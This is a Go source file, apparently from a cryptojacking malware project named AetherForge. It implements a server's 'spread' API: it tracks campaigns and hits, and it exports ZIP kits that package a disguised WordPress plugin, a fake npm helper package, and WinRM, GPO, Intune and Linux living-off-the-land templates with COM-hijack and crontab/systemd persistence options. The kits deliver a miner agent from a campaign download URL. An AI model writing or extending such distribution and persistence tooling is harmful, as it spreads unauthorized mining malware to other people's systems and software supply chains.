Files
AetherForge/server/internal/api/spread_handler.go
AetherForge 5b5fc7c01c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Emberwake Cloud Ecosystem deploy hub with AWS and generic spread templates.
Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
2026-06-07 10:03:22 -07:00

439 lines
13 KiB
Go

package api
import (
"encoding/json"
"fmt"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
s3CRRConfigFn func() erasure.S3ShardConfig
notesMu sync.RWMutex
}
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
if h != nil {
h.erasureShards = store
}
}
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
if h != nil {
h.deployPlan = handler
}
}
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
if h != nil {
h.s3CRRConfigFn = fn
}
}
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
if h == nil || h.s3CRRConfigFn == nil {
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
return
}
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
writeJSON(w, map[string]interface{}{
"template": "templates/spread/aws/s3-crr-rule.json",
"rule": doc,
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
})
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
}
func (h *SpreadHandler) notesPath() string {
return filepath.Join(h.dataDir, "emberwake-notes.json")
}
type emberwakeNotes struct {
Content string `json:"content"`
UpdatedAt string `json:"updated_at"`
UpdatedBy string `json:"updated_by"`
}
func (h *SpreadHandler) readNotes() emberwakeNotes {
h.notesMu.RLock()
defer h.notesMu.RUnlock()
data, err := os.ReadFile(h.notesPath())
if err != nil {
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
}
var n emberwakeNotes
if json.Unmarshal(data, &n) != nil {
return emberwakeNotes{}
}
return n
}
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
h.notesMu.Lock()
defer h.notesMu.Unlock()
data, err := json.MarshalIndent(n, "", " ")
if err != nil {
return err
}
return os.WriteFile(h.notesPath(), data, 0644)
}
// GET /api/v1/emberwake/notes
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
writeJSON(w, h.readNotes())
}
// PUT /api/v1/emberwake/notes
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
var body struct {
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
n := emberwakeNotes{
Content: body.Content,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
UpdatedBy: AuthUsername(r),
}
if err := h.writeNotes(n); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if h.wsHub != nil {
h.wsHub.BroadcastEmberwakeNotes(n)
}
writeJSON(w, n)
}
// GET /api/v1/emberwake/campaigns
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
hits, err := h.db.ListCampaignHits(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if hits == nil {
hits = []dbpkg.CampaignHitSummary{}
}
writeJSON(w, map[string]interface{}{"campaigns": hits})
}
// GET /api/v1/emberwake/war-room?days=7
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
days := 7
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
days = n
}
}
data, err := h.db.ListWarRoom(days)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, data)
}
type spreadKitExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
type wordpressPluginExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
SiteName string `json:"site_name"`
}
type npmHelperExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
type spreadTemplateExportRequest struct {
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
ServerURL string `json:"server_url"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
COMHijack bool `json:"com_hijack"`
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
AgentPath string `json:"agent_path"`
}
// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
var req spreadKitExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
return
}
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{CAMPAIGN_QUERY}}": querySuffix,
"{{PIN_QUERY}}": "",
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
filename := "emberwake-spread-kit.zip"
if req.Campaign != "" {
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
}
writeZipAttachment(w, filename, data)
}
// POST /api/v1/builder/wordpress-plugin-export
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
var req wordpressPluginExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
req.SiteName = strings.TrimSpace(req.SiteName)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.SiteName == "" {
http.Error(w, "site_name required", http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
return
}
slug := sanitizeExportSlug(req.SiteName)
wpCampaign := "wp-" + slug
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
if req.BuildID != "" {
downloadURL += "&pin=" + req.BuildID
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": wpCampaign,
"{{SITE_NAME}}": slug,
"{{PLUGIN_SLUG}}": slug,
"{{PLUGIN_NAME}}": slugDisplayName(slug),
"{{WP_CAMPAIGN}}": wpCampaign,
"{{DOWNLOAD_URL}}": downloadURL,
"{{VERSION}}": "1.0.0",
}
remap := func(rel string) string {
rel = filepath.ToSlash(rel)
if rel == "plugin.php" {
return slug + "/" + slug + ".php"
}
return slug + "/" + rel
}
data, err := zipTemplateReplacements(templateDir, repl, remap)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
}
// POST /api/v1/builder/npm-helper-export
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
var req npmHelperExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Campaign == "" {
req.Campaign = "npm-helper"
}
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "npm helper templates not found", http.StatusNotFound)
return
}
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{PACKAGE_NAME}}": pkgName,
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
}
// POST /api/v1/builder/spread-template-export
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
var req spreadTemplateExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.BuildID = strings.TrimSpace(req.BuildID)
req.Campaign = strings.TrimSpace(req.Campaign)
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
req.AgentPath = strings.TrimSpace(req.AgentPath)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Template == "" {
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
return
}
subdir, filename, err := spreadTemplatePaths(req.Template)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
return
}
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
comHijack := "false"
if req.COMHijack {
comHijack = "true"
}
lotlMode := req.LOTLMode
if lotlMode == "" {
lotlMode = "systemd_run_user"
}
agentPath := req.AgentPath
if agentPath == "" {
agentPath = `C:\ProgramData\AetherForge\worker.exe`
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{COM_HIJACK}}": comHijack,
"{{LOTL_MODE}}": lotlMode,
"{{AGENT_PATH}}": agentPath,
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, filename, data)
}
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
switch template {
case "winrm":
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
case "linux-lotl", "linux_lotl":
return "linux", "aetherforge-linux-lotl.zip", nil
case "gpo", "enterprise-gpo":
return "enterprise", "aetherforge-gpo-startup.zip", nil
case "intune", "enterprise-intune":
return "enterprise", "aetherforge-intune-startup.zip", nil
default:
return "", "", fmt.Errorf("unknown template %q", template)
}
}
// PUT /api/v1/builds/{id}/public
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
var body struct {
Public bool `json:"public"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
}